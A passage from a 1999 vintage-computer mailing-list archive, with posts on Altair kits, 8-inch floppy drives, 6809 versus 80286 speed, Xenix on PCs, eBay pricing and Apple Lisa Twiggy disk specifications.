A.D. | A.D. | A.D. | A.D. > | > > After seeing it presented this way (usually wider so I can mark the first > and second decade), people that aren't completely brain damaged will usually > concede that this makes some sense, even if they won't concede that it is > "correct". The rest of the people aren't even worth arguing with. > > Cheers, > Eric From radack at juno.com Fri Jan 1 19:52:57 1999 From: radack at juno.com (Herbert B Radack) Date: Sun Feb 27 18:39:44 2005 Subject: IBM XT Message-ID: <19990101.205444.18166.4.radack@juno.com> I have an IBM XT with monitor & keyboard. Anyone interested? ___________________________________________________________________ You don't need to buy Internet access to use free Internet e-mail. Get completely free e-mail from Juno at http://www.juno.com/getjuno.html or call Juno at (800) 654-JUNO [654-5866] From altair8800 at hotmail.com Fri Jan 1 20:17:06 1999 From: altair8800 at hotmail.com (Bob Wood) Date: Sun Feb 27 18:39:44 2005 Subject: Altair kit on E-OverPay Message-ID: <19990102021707.19202.qmail@hotmail.com> > >I was looking at the Altair kit on E-OverPay. The owner says that his kit >didn't come with the Altair label. I also have an Altair that was build >from a kit. Mine didn't come with the label either. Anybody know why? > > Joe My kit did not have a label with it when shipped either. I have corresponded with others who tell me their's came sans label too. One speculated that it is the early ones which were sent out without labels. Don't know why. Bob Wood ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com From wpe101 at banet.net Fri Jan 1 20:34:10 1999 From: wpe101 at banet.net (Will Emerson) Date: Sun Feb 27 18:39:44 2005 Subject: Possibly OT, Memory testing Message-ID: <368D85A1.724F08E6@banet.net> Can anyone point me to a good utility for testing memory that DOS 6.22 (HIMEM) occaisionally reports as suspect? I'm looking for something other than yanking the SIMM's out, and testing them (it's a govt owned 'puter, and the repair person 'll take forever if I don't provide some kind of serious guidance as to the cause of the problem).. Yeah, I've thought of opening it up, and cleaning the contacts on the SIMMS etc, but, as a Contractor Employee, I don't want to risk getting my company getting blamed for anything.. AdvTHANKSance Will From bill at chipware.com Fri Jan 1 21:37:05 1999 From: bill at chipware.com (Bill Sudbrink) Date: Sun Feb 27 18:39:44 2005 Subject: Ohio Scientific floppy progress Message-ID: <199901020336.TAA32481@mxu1.u.washington.edu> > > So I built the PC to 8 inch floppy converter and > > got the software working (see other message). > > I have tested four of the six drives I have and... > > THEY ALL WORK! > > Not only that, but they all agree with each other. > > That is, a disk formatted and written on one drive > > will read on any other drive. > > > > Can I assume that this means they are all > > What you've done is called an 'interchangeablity test' in the manuals. It > doesn't mean all the drives are correctly aligned, or even that they're all > aligned exactly the same. It does mean, though that they're all pretty close. > It's possible that they're all way off, but I doubt it. After all, how would > they have all been aligned to each other? > > So I think it's safe to say that they're probably aligned well enough to use. Now I'm 6 for 6. All six work, all pass interchangeability. For those keeping score: 3 Seimens model FDD 200-8P 1 Seimens model FDD 120-8 1 Seimens model FDD 100-8 1 Shugart model 801 (missing one cap) Now to go through and jiggle all of the boards in the C3-D, power it up and see if she boots. Wish me luck. From museum at techniche.com Fri Jan 1 21:37:03 1999 From: museum at techniche.com (Jon Healey) Date: Sun Feb 27 18:39:44 2005 Subject: seeking docs for Qantel systems hardware Message-ID: <199901020337.WAA20573@chmls05.mediaone.net> Hi, I've got a Qantel model 10 system sitting around the house. My wife used to (I guess she still does occasionally) program on it. Qantel was a hardware manufacturer out of Hayward Ca. They went out of business (sort of) around 1987/88. I say 'sort of' because I think Mohawk Data Systems bought the support rights. I also think that someone may have attempted recently to relaunch parts of their product line. Anyway this system isdefinitely 10 years old. I'd like to see what hardware documentation might be floating around out there for this. In particular I have a real nice High-speed line printer that I would like to get service and interface info on. It was manufacture by Teletype but I haven't been able to find a model number on it and I didn't want to disassemble it right now. It is currently still working fine, but I'd like to connect it to some other equipment. From the little I've examine it, it appears that it might be a current loop interface (the era is right for this also). Anyone familiar with this printer? Thanks, Jon From zmerch at 30below.com Fri Jan 1 22:16:46 1999 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:39:44 2005 Subject: Shugart Model 801 (8 inch floppy) In-Reply-To: References: <199812312136.NAA05401@mxu2.u.washington.edu> Message-ID: <3.0.1.32.19990101231646.00958100@mail.30below.com> On or about 10:38 PM 12/31/98 +0000, Tony Duell was caught in a dark alley speaking these words: >> board). Are there often nonessential components >> in older hardware? Is it actually nonessential or > >No!. There may be protective components - ones that only come into use >when there's a fault and which prevent further damage (a common example >is a crowbar on a power supply), but they are all there for a reason. As my dad's been a trucker my whole life, the crowbars that have always been around my house have been *quite* large, and the concept of one of *those* crowbars on a power supply would hinder it's operation, not protect it. ;-) Would you care to briefly elaborate what a power supply "crowbar" might be? There's *got* to be a little bit more room in this noggin' of mine for a sprinkling of your wisdom! >> Bill Sudbrink >-tony Thanks, Roger "Merch" Merchberger ===== Roger "Merch" Merchberger -- zmerch@30below.com SysAdmin - Iceberg Computers ===== Merch's Wild Wisdom of the Moment: ===== for (1..15) { print "Merry Christmas\n"; } (from perl.1 man page, version 4.) From zmerch at 30below.com Fri Jan 1 23:16:13 1999 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:39:45 2005 Subject: 6809 vs. '286 (long - Was: Re: Still OT: Pentium / M$ In-Reply-To: <199812300353.AA02058@world.std.com> Message-ID: <3.0.1.32.19990102001613.009587b0@mail.30below.com> On or about 10:53 PM 12/29/98 -0500, Allison J Parent was caught in a dark alley speaking these words: ><10Mhz 80286... by far. It also *smokes* the 6502. And other than Xenix 286 ><(super-expensive), OS-9 is the most powerful OS available for these > >the 6809 was pretty neat and close to PDP-11. If that's true, I'd really like a PDP-11! ;-) > It was however, slow! Compared to what? Clock per clock, it was the fastest thing for quite a long time. And remember, the 6809 was *not* the fastest of the fast 8-bitters... ever heard of a *6309*??? Pretty rare critter there! Made by Hitachi as an OEM to Motorola, CMOS, 3MHz (most overclockable to 4MHz) and would kick a '286 in the backside easier than anything 8-bit (with 6309 hand-optimized code) -- it did have twice the registers of the 6809 and had -- no typo here -- 32 bit math capabilities. >Comparing it to a 286/10mhz, sorry, no way. I did it. Admittedly, it wasn't *purely* apples to apples comparison, but I took totally portable M$Basic programs doing integer & real math, and integer, real & string sorting, and ran them in RS-DOS on a CoCo2 and in Basic & BasicA on a True-Blue Bummer/AT '286-10. At .89 Mhz, the 6809 was roughly .7x in everything except integer-related items - remember, RS-DOS doesn't have integers... everything's a five-byte real. Tweak the CoCo2 to 1.78 Mhz (mine ran stable at that speed), and the CoCo bettered the AT by just under 10%. Just for shits&grins, I *really* optimized the code for Basic09 and booted OS-9. Even at .89MHz, the CoCo won, by a decent margin... but this part is moot; just included for hystericals. Oh, and both proggies had *minimal* output - video was faster on my CoCo, you know - didn't want to take undue advantage of that IBM. ;-) > The 286 wasn't great but it was faster. How, tho. compiled C to compiled C? Sure. But how about optimized assembly vs. optimized assembly? IIRC, most (if not all) instructions execute in fewer clock cycles on the 6809. But also, the addressing capabilities of the 6809 far outweigh anything 86ish - I've tried learning x86 assembly - I ran screaming into the night... took my wife a week to find me! Any assy. job I've ever seen can be done in a *lot* fewer instructions on a 6809 than an x86. In my book, faster _and_ fewer gives a pretty decent improvement - sure, a couple loops would run faster on a '286, but a regular proggie is more than just counting loops, and all of the branching & indexing capabilities of the 6809 really improve the odds. >Like you said marketing... who outside of us remembers OS-9 and the 6809? >Was the coco a better machine... no. It was good for it's time but the >system was still a grafted together set of pods and cables typical of many >of the trs-xx products. As were most _inexpensive home machines_ of the time. I have a "podified" Atari 800 (2 disk drives, small printer, etc.), I've seen many "podified" Commie 64's & such... I really don't think the business machines from RS/Tandy were any more "grafted" than the IBM tho. The IBM was *not* slated as a home machine. It was a business machine, and I will agree totally that pods and wires (at the time) would never be seen as a businesslike machine.... but today... (I have more cables coming from my Pentium then I *ever* had out of my CoCo3 - and yet it seems only *marginally* more useful.) IMHO, a <$1000 loaded home machine is *not* supposed to outperform a >$4000 business machine. Oh, and Ward could prolly answer this: Was there a version of Xenix available for an IBM / Clone? I know there was one for the Tandy 2000, but that's the only version I've ever seen. How far did M$'s licensing go with that OS? In closing, anyone ever played Rogue on both the CoCo (OS-9) and the IBM version? 40K code for the CoCo, ~140K code on the IBM, on respective machines the CoCo version was much faster (except booting - floppy vs. hard drive is no comparison) and - well - the IBM version sucked. Weren't as many features, despite the code bloat. Oh, and if anyone wants my custom font for playing Rogue on the CoCo (stairs look like stairs, scrolls look like scrolls, etc.) lemme know - I'll spark up the CoCo slide the font file over to the emulator, so I can put it on the Web sometime. Requires 512K. So... Did I fill 1999's quota for drivel yet??? ;-) See ya, and happy new year, Roger "Merch" Merchberger ===== Roger "Merch" Merchberger -- zmerch@30below.com SysAdmin - Iceberg Computers ===== Merch's Wild Wisdom of the Moment: ===== for (1..15) { print "Merry Christmas\n"; } (from perl.1 man page, version 4.) From dlw at trailingedge.com Fri Jan 1 23:32:04 1999 From: dlw at trailingedge.com (David Williams) Date: Sun Feb 27 18:39:45 2005 Subject: IBM PC Xenix Re: 6809 vs. '286 (long - Was: Re: Still OT: Pentium / M$ In-Reply-To: <3.0.1.32.19990102001613.009587b0@mail.30below.com> References: <199812300353.AA02058@world.std.com> Message-ID: <199901020531.XAA07079@trailingedge.com> On 2 Jan 99, at 0:16, Roger Merchberger wrote: > Was there > a version of Xenix available for an IBM / Clone? I know there was one for > the Tandy 2000, but that's the only version I've ever seen. How far did > M$'s licensing go with that OS? Yes, there was. I have a copy which I picked up from a company I worked for back in the mid-80s. Xenix-86 Version 2.1 is what is on the disk labels. OS, dev system and text system. I use to run it on my AT&T 6300 with 640k and a 10 meg drive. Supported the main console and a Wyse 50 terminal. Never tried any more terminals than that mainly because I didn't have any more at the time. It was fun to play with at home but we dropped it at work in favor of the 286 version as soon as we acquired an AT clone. ----- David Williams - Computer Packrat dlw@trailingedge.com http://www.trailingedge.com From lwalker at mail.interlog.com Fri Jan 1 18:45:35 1999 From: lwalker at mail.interlog.com (Lawrence Walker) Date: Sun Feb 27 18:39:45 2005 Subject: "Single instance" machines In-Reply-To: <199812311641.RAA10636@iaehv.IAEhv.nl> Message-ID: <199901020547.AAA13436@smtp.interlog.com> On 31 Dec 98 at 17:41, Kees Stravers wrote: > I have never heard of the Philips Micom word processor. That's not so > strange, Philips has made a lot of different computer systems, it is an > enormous task to catalogue them all. Sometimes Philips even sold the > same computer under two different names, e.g. their third XT clone was > known as the NMS9100 for the consumer market, but sold as the P3105 > by a totally different section of Philips to the professional market, > and it was the exact same machine. I tried several web searches for > 'Philips Micom', but all I could come up with were a couple of firms > offering conversion services for its files, and a CV of a Canadian > researcher who mentiones having written software for the thing. > I once saw a very old Philips wordprocessor, with a cabinet a the size > of a cubic metre under the desk, a separate terminal for i/o and a > weird thirteen bit parallel daisywheel printer which had no smarts at all > (the computer had to tell it how many microsteps to turn the roll and move > the head etc) but this machine used magnetic cards the size of a punched > card to save files to, not disks. > > The P2000 family I was talking about has four lines that are incompatible > with each other. > - The P2000T (cassette, 40 char video) / P2000M (disk, 80 char video) > which was the most common here in The Netherlands. They were the same > internally but had different video. Most programs were interchangable. > A CP/M card was available for it from the Philips computer club. Also > a floppy disk controller for the T that was compatible with the internal > one in the M. > - The P2000C luggable, the most advanced one, CP/M, even had a 8088 > 'CoPower' card available for it that could run MSDOS. You could attach > an external hard disk via a SASI interface. It could read and write the > disk formats from all the other members, and of a lot of CP/M systems too. > - The P2000B/P2500, a CP/M disk system with 5.25i disks, monitor and disks > in one cabinet like the P2000M, on top of a passive backplane cabinet > like the Northstar with everything on cards. 8i floppy controller available. > - The P5020/P5040 word processor system. The P5020 was a monster system, an > all-in-one system with a 15 inch 36 line system, two 5.25i drives next > to the monitor, internal card cage with passive backplane (not the same > as the P2500). The entire thing stood on a big tilt/swivel pedestal. > Heavy keyboard made of metal, no plastic exept for the keys. The P5040 > was a more modern version, smaller and looking like a PC with separate > monitor and all. There was an add-on machine, called the P5010, which > was a keyboard with a single line lcd display and a cassette drive, which > could be used to enter long texts. You then transported these texts serially > to the P5020 or P5040 for the finishing touches. Maybe this system was the > Micom, I don't know. > Some bright minds in the Philips computer club made a new ROM for the > P5010 so you could write Z80 machine code programs with it. Later there > even was CP/M for the P5020/5040. Multiplan with 36 lines really was a > treat. > > I only have pictures of the P2000M and the P2000C on my pages. The other > systems are buried in the garage, it would take quite some digging to > photograph them. I'll go look if I have some magazine pictures of them. > > Kees > The Micom seems like an amalgum of most of the above. It looked like an oversized Pet or TRS80 mod.2. At the moment it's buried with brochures , club newsletters and programs under about 5 printers and other assorted items. I've always thought of it as an S-100 but I am a complete novice regarding them. I'll be digging it out in the next couple of weeks and will have more info. It used a large Shugart 8" fdd about the size of an XT and had a Qume daisy-wheel printer that had a massive external power supply. I don't think it had any internal smarts. It had an excellent WP program and limited graphics capabilities. It was modem capable and Philips had a program for that. I remember the newsletter mentioning that 3rd party suppliers could provide modems (and I imagine cards) so I would suspect it had a common bus. They also had a fairly lengy article on the differences between synchronous and asynchronous transmission IIRC. I'll get back to you when I excavate it. ciao larry lwalker@interlog.com From Innfogra at aol.com Sat Jan 2 00:11:12 1999 From: Innfogra at aol.com (Innfogra@aol.com) Date: Sun Feb 27 18:39:45 2005 Subject: Osborne 01 for only $5000.00 - new Scam??? Message-ID: > > I wonder if it was a mistyped $50.00.... > -- Somehow I doubt it. I looked at this listing extensively because it has links to his web site. He has very interesting comments about ebay. He states he makes a living off ebay but I notice he is a stockbroker. Looking at his current auctions he specializes in collectable ceramics and coins at normal realistic prices. He has some Transoceanic tube radios that have not met their reserves. The Osborne is a nice collectable with lots of SW and Documentation. These are the type of items that bring high prices. However his asking price is ridiculous. I think this is a classic case of speculation by someone who is not knowledgeable in the field but has a nice find. What is interesting is that he does know how to sell on ebay. This, the recent Kaypro and other high priced asking prices have lead me to wonder if there is a new scam being played on ebay. With all the hits it is a great source of advertising. List something at a high asking price or reserve. You pay $2. People who are really interested I think would contact the seller after the sale to try to find out what happened. The seller could then negotiate a sale independently, without paying the commission to ebay. The commission on a high-priced item, while not a lot, is considerably more than the $2. The gentleman :) with the Osborne has some very interesting comments about selling on ebay. His site is http://www.freewarehof.org/ It is obvious that he is a speculator. It is also interesting to notice that his site link (rey2) to his current sales on ebay has been delisted by them. His current sales are under a very similar but different name (rey). I communicated with the $1000 Kaypro seller. He wrote me that he pulled the ad after he realized that it was priced to high. He also left me an opening to make an offer. Since I am not buying I didn't reply but I haven't seen it relisted. Marvin, have You seen it again? I don't follow ebay all that well. Paxton From gram at cnct.com Sat Jan 2 00:38:49 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:39:45 2005 Subject: 6809 vs. '286 (long - Was: Re: Still OT: Pentium / M$ References: <3.0.1.32.19990102001613.009587b0@mail.30below.com> Message-ID: <368DBEF9.2AF66CFA@cnct.com> Roger Merchberger wrote: > IMHO, a <$1000 loaded home machine is *not* supposed to outperform a >$4000 > business machine. Oh, and Ward could prolly answer this: Was there a > version of Xenix available for an IBM / Clone? I know there was one for > the Tandy 2000, but that's the only version I've ever seen. How far did > M$'s licensing go with that OS? SCO's first release of Xenix was for an XT with 512K or more RAM. It was a dog, Xenix for the X86 series didn't hit its stride until the AT and the 80286. I never actually saw a copy of Xenix for the T2k, but I have it on good authority (Frank Gottschalk) that its stability was never anything to write home about. Venturecom's Venix for the T2k on the other hand apparently was pretty solid. (Actually, if I ever acquire another T2k, what I'd like to do is see what I can do for it with the TRSDOS6/LS-DOS source code available from Tim Mann's site) (actually, I'm thinking of trying that source with the ancient AT I'm otherwise ignoring). Xenix for the X86 series didn't out-perform the Tandy 6000 until the 386 and proper memory addressing. > In closing, anyone ever played Rogue on both the CoCo (OS-9) and the IBM > version? 40K code for the CoCo, ~140K code on the IBM, on respective > machines the CoCo version was much faster (except booting - floppy vs. hard > drive is no comparison) and - well - the IBM version sucked. Weren't as > many features, despite the code bloat. Oh, and if anyone wants my custom > font for playing Rogue on the CoCo (stairs look like stairs, scrolls look > like scrolls, etc.) lemme know - I'll spark up the CoCo slide the font file > over to the emulator, so I can put it on the Web sometime. Requires 512K. I'll take it. Seems to me it should work OK with Hack as well as Rogue. > So... Did I fill 1999's quota for drivel yet??? ;-) > > See ya, and happy new year, > Roger "Merch" Merchberger And the same to all. -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From healyzh at aracnet.com Sat Jan 2 00:48:47 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:39:45 2005 Subject: Osborne 01 for only $5000.00 - new Scam??? In-Reply-To: Message-ID: >This, the recent Kaypro and other high priced asking prices have lead me to >wonder if there is a new scam being played on ebay. With all the hits it is a >great source of advertising. List something at a high asking price or reserve. >You pay $2. People who are really interested I think would contact the seller >after the sale to try to find out what happened. The seller could then >negotiate a sale independently, without paying the commission to ebay. The >commission on a high-priced item, while not a lot, is considerably more than >the $2. I suspect you're right, and that would explain some other items with rather high bids that one dealer seems willing to sell for a lot less. Items that he never seems to sell on eBay, yet has fancy, eyecatching HTML that points you to his own web site. On the other hand, I'm aware of one dealer selling systems that are nicer than some they have on their web page for a lot less, and it is very hard to discover that they're connected. Out of curiosity, how to you find out how much a reserve bid is? Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From rhblake at bigfoot.com Sat Jan 2 00:50:07 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:39:45 2005 Subject: Osborne 01 for only $5000.00 - new Scam??? References: Message-ID: <368DC19E.E157DFD0@bigfoot.com> Zane H. Healy wrote: > Out of curiosity, how to you find out how much a reserve bid is? You write the seller and hope they'll "fess up". Otherwise there isn't anyway. I don't bid on a reserve auction unless it's still reasonable and the reserve has been met. From dastar at ncal.verio.com Sat Jan 2 00:58:33 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:45 2005 Subject: seeking docs for Qantel systems hardware In-Reply-To: <199901020337.WAA20573@chmls05.mediaone.net> Message-ID: On Fri, 1 Jan 1999, Jon Healey wrote: > Qantel was a hardware manufacturer out of Hayward Ca. > They went out of business (sort of) around 1987/88. I say > 'sort of' because I think Mohawk Data Systems bought > the support rights. I also think that someone may have > attempted recently to relaunch parts of their product line. John, can you give us a little more inforamtion about this computer? Like what processor is it based on, and what OS does it run? Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From dastar at ncal.verio.com Sat Jan 2 01:03:58 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:45 2005 Subject: 6809 vs. '286 (long - Was: Re: Still OT: Pentium / M$ In-Reply-To: <3.0.1.32.19990102001613.009587b0@mail.30below.com> Message-ID: On Sat, 2 Jan 1999, Roger Merchberger wrote: > >Comparing it to a 286/10mhz, sorry, no way. > > I did it. Admittedly, it wasn't *purely* apples to apples comparison, but I > took totally portable M$Basic programs doing integer & real math, and > integer, real & string sorting, and ran them in RS-DOS on a CoCo2 and in > Basic & BasicA on a True-Blue Bummer/AT '286-10. At .89 Mhz, the 6809 was > roughly .7x in everything except integer-related items - remember, RS-DOS > doesn't have integers... everything's a five-byte real. All that means is that the BASIC interpreters on the PC sucked. If you take some simple benchmark program and write a version for each processor, the 286 will beat the pants off the 6809. Any native machine code program on the 286 will beat out the same native machine code program on the 6809. > How, tho. compiled C to compiled C? Sure. But how about optimized assembly > vs. optimized assembly? IIRC, most (if not all) instructions execute in > fewer clock cycles on the 6809. But also, the addressing capabilities of > the 6809 far outweigh anything 86ish - I've tried learning x86 assembly - I > ran screaming into the night... took my wife a week to find me! Any assy. > job I've ever seen can be done in a *lot* fewer instructions on a 6809 than > an x86. Sure, but I think if you actually DID a comparison between the two in machine code you'd definitely find the 286/10 to be faster. Nothing against the 6809, it sounds like a great little chip. But we must face facts here. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From Innfogra at aol.com Sat Jan 2 01:04:57 1999 From: Innfogra at aol.com (Innfogra@aol.com) Date: Sun Feb 27 18:39:45 2005 Subject: Osborne 01 for only $5000.00 - new Scam??? Message-ID: In a message dated 1/1/99 10:47:34 PM Pacific Standard Time, healyzh@aracnet.com writes: > > Out of curiosity, how to you find out how much a reserve bid is? > One of the list members reiterated a story about bidding up an item till he hit the reserve limit. Unfortunately you have to be willing to buy it to use this method. I also don't believe he got the item in the end. Paxton From eric at brouhaha.com Sat Jan 2 04:43:26 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:39:45 2005 Subject: Lisa "twiggy" specs (Was: selling a blank floppy disk In-Reply-To: (cisin@xenosoft.com) References: Message-ID: <19990102104326.21784.qmail@brouhaha.com> "Fred Cisin (XenoSoft)" wrote: > Did they have the same number of sectors on each track ("constant > rotational speed"), or did they have different numbers of sectors on > different tracks ("constant linear velocity")? The Twiggy disk uses a zoned-CAV system like modern hard drives, except that it changes the spindle motor speed and keeps the data rate constant. Thus the number of sectors per track varies. There are 46 tracks for data (numbered 0 to 45), and track -1 which is used for speed calibration. I'm assuming that track 0, the outermost track for the lower head, has a radius of 2.25 inches, the same as a standard 5.25 inch drive. The Twiggy uses a track pitch of 62.5 TPI. The zone information is given in this table, which is compiled from the Lisa Hardware Manual; I've added the peak flux density which I computed in an Excel spreadsheet. 512-byte peak sectors rotation flux per rate density track track (rpm) (fcpi) ----- ------- --------- --------- 0-3 22 218.3 9721-9933 4-10 21 228.7 9550-9989 11-16 20 240.1 9588-9973 17-22 19 252.7 9552-9955 23-28 18 266.8 9509-9931 29-34 17 282.5 9463-9907 35-41 16 300.1 9414-9981 42-45 15 320.1 9453-9749 Note that for Apple's (6/8) GCR format, equivalent to (0,2) RLL, the minimum flux density is 1/3 of the maximum flux density. For MFM, the minimum is 1/2 the maximum. This means that the media has to work for the range of 3138-9989 FCPI. Standard 5.25 inch floppies spin at a constant rate, and transfer data at a constant rate, so they have a much lower flux density on the outer tracks. For 360K format, the maximum flux density ranges from 3537 FCPI on side 0 track 0 to 5877 fcpi on side 1 track 39, for an overall range of 1768-5877 FCPI. For 1.2M format, the maximum flux density ranges from 5895 FCPI on side 0 track 0 to 9870 fcpi on side 1 track 79, for an overall range of 2947-9870 FCPI. Obviously, then, my inital guess that high-density media is required would appear to be correct. > GCR would tend to provide a flux transition density of about 1.5 times that > of FM, and slightly less than that of MFM. Apple's (6/8) GCR is exactly 3/4 as efficient as MFM. Eric From rhblake at bigfoot.com Sat Jan 2 04:55:26 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:39:45 2005 Subject: Really off-topic but who cares on this one! Message-ID: <368DFB1D.A30ED304@bigfoot.com> You have GOT to see this page! It will sure as heck lighten up your day, especially if you're looking at the ice collect on the phone and power lines like I am..... http://viperspit.com/funny.html Check the "dancing baby" page out as well, very funny. And now back to our regularly scheduled mailing list.... From maurice.hamm at wxs.nl Sat Jan 2 05:05:09 1999 From: maurice.hamm at wxs.nl (Maurice Hamm) Date: Sun Feb 27 18:39:45 2005 Subject: datapoint 1800 (1980 ) Message-ID: <368DFD65.F270CEA7@wxs.nl> First I am Maurice Hamm 30 years old and living in the Netherlands. I have a privite collection of old Radio's, Tv's and computers. The datapoint 1800, a dec pdp 11/23, a zx81, a commodore 64, a IBM 8086 etc. What has happend. I have reorgenized my collection room and got the craziesed idea to start up my DATAPOINT 1800 computer. (1980 ) This was my first computer and had for several years lot of fun with it. I am industrious seeking for somebody that knows something about this machine or has some information or docs I got the machine in 1988 and has worked for several years whith it. But now after several years I start up the machine and it did not start up, the screen keeps black !! There is power in the machine, the disks spins and the picture tube is glowing. There is also no response of the keyboard. I think the ROM is emty. There is no self test. I know for certain that it was in a working state the last time I had used the machine +/- 7 years ago. I opened the case to look for bad fuses or contacts but every thing looks ok. What has gone wrong? Question: I know its a long time and a very, very old machine But I just like to see this machine working again. The comp. works under DOS.G I have several programes and documentation and a wheel printer attached to this comp.. Please help me. Greatings, and a Happy new Year, Maurice Hamm -------------- next part -------------- A non-text attachment was scrubbed... Name: img1.gif Type: image/gif Size: 55589 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990102/3cd6d79d/img1.gif From pechter at monmouth.com Sat Jan 2 07:51:15 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:39:45 2005 Subject: 6809 vs. '286 (long - Was: Re: Still OT: Pentium / M$ In-Reply-To: <368DBEF9.2AF66CFA@cnct.com> from Ward Donald Griffiths III at "Jan 2, 99 01:38:49 am" Message-ID: <199901021351.IAA05807@pechter.ddns.org> > Roger Merchberger wrote: > > > IMHO, a <$1000 loaded home machine is *not* supposed to outperform a >$4000 > > business machine. Oh, and Ward could prolly answer this: Was there a > > version of Xenix available for an IBM / Clone? I know there was one for > > the Tandy 2000, but that's the only version I've ever seen. How far did > > M$'s licensing go with that OS? > > SCO's first release of Xenix was for an XT with 512K or more RAM. It > was a dog, Xenix for the X86 series didn't hit its stride until the AT > and the 80286. I've got a copy of Xenix-86 and it was pretty solid on the AT&T 6300 (8086 8MHZ). I've even still got the development kit and manuals. Anyone interested let me know. Bill From rigdonj at intellistar.net Sat Jan 2 11:11:50 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:39:45 2005 Subject: Altair kit on E-OverPay In-Reply-To: <19990102021707.19202.qmail@hotmail.com> Message-ID: <3.0.1.16.19990102111150.48dfaf9e@intellistar.net> I thought it must be something like that. Perhaps MITS was afraid the kit builders would botch the job and they didn't want to have their name on them. FWIW I have the highest known SN Altair (per Stephen Gabaly) so it wasn't just the early kits. Joe At 06:17 PM 1/1/99 PST, you wrote: > >> >>I was looking at the Altair kit on E-OverPay. The owner says that his >kit >>didn't come with the Altair label. I also have an Altair that was >build >>from a kit. Mine didn't come with the label either. Anybody know why? >> >> Joe > >My kit did not have a label with it when shipped either. >I have corresponded with others who tell me their's came >sans label too. One speculated that it is the early ones >which were sent out without labels. Don't know why. > >Bob Wood > >______________________________________________________ >Get Your Private, Free Email at http://www.hotmail.com > From jrkeys at concentric.net Sat Jan 2 09:11:24 1999 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:39:45 2005 Subject: Osborne 01 for only $5000.00 - new Scam??? In-Reply-To: <368DC19E.E157DFD0@bigfoot.com> Message-ID: <000101be3662$297ceb20$3db0adce@5x86jk> eBay will also give you the information all you have to do is ask how to list a item for this price and they will tell you. > -----Original Message----- > From: CLASSICCMP-owner@u.washington.edu > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of Russ Blakeman > Sent: Saturday, January 02, 1999 12:50 AM > To: Discussion re-collecting of classic computers > Subject: Re: Osborne 01 for only $5000.00 - new Scam??? > > > > > Zane H. Healy wrote: > > > Out of curiosity, how to you find out how much a reserve bid is? > > You write the seller and hope they'll "fess up". Otherwise there > isn't anyway. I > don't bid on a reserve auction unless it's still reasonable and > the reserve has > been met. > > From gram at cnct.com Sat Jan 2 09:40:52 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:39:45 2005 Subject: 6809 vs. '286 (long - Was: Re: Still OT: Pentium / M$ References: <199901021351.IAA05807@pechter.ddns.org> Message-ID: <368E3E03.A9293D16@cnct.com> Bill Pechter wrote: > > > Roger Merchberger wrote: > > > > > IMHO, a <$1000 loaded home machine is *not* supposed to outperform a >$4000 > > > business machine. Oh, and Ward could prolly answer this: Was there a > > > version of Xenix available for an IBM / Clone? I know there was one for > > > the Tandy 2000, but that's the only version I've ever seen. How far did > > > M$'s licensing go with that OS? > > > > SCO's first release of Xenix was for an XT with 512K or more RAM. It > > was a dog, Xenix for the X86 series didn't hit its stride until the AT > > and the 80286. > > I've got a copy of Xenix-86 and it was pretty solid on the AT&T I didn't say it was unstable, I said it was a dog, as in dog-slow on a 4.77MHz 8088. Despite some criticisms I have about the video interface, the AT&T (Olivetti) 6300 was vastly superior to the XT. And the 6300+ may have been the most stable 80286 box ever built, especially with AT&T Unix on it, even running that first generation DOSMerge product. -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From marvin at rain.org Sat Jan 2 09:40:39 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:39:45 2005 Subject: Altair kit on E-OverPay References: <3.0.1.16.19990102111150.48dfaf9e@intellistar.net> Message-ID: <368E3DF7.9D71F578@rain.org> Joe wrote: > > I thought it must be something like that. Perhaps MITS was afraid the kit > builders would botch the job and they didn't want to have their name on > them. FWIW I have the highest known SN Altair (per Stephen Gabaly) so it > wasn't just the early kits. I am assuming you are talking about the "MITS" label on the front of the machine. One of my Altairs was built from a kit by a friend of mine, and it does have the label on it (as do the other two that I don't know the history on.) That picture on eBay was the first one I had seen without a label on the front of it. From foxvideo at wincom.net Sat Jan 2 10:27:04 1999 From: foxvideo at wincom.net (Charles E. Fox) Date: Sun Feb 27 18:39:45 2005 Subject: "Single instance" machines In-Reply-To: <199901020547.AAA13436@smtp.interlog.com> References: <199812311641.RAA10636@iaehv.IAEhv.nl> Message-ID: <3.0.5.32.19990102112704.007a05e0@mail.wincom.net> At 12:45 AM 1/2/1999 +0000, you wrote: >On 31 Dec 98 at 17:41, Kees Stravers wrote: If anyone turns up schematics on the Micom, especially the terminal, I would like to obtain a copy and I will try to get mine operational. Thanks Charlie Fox >> > The Micom seems like an amalgum of most of the above. It looked like an >oversized Pet or 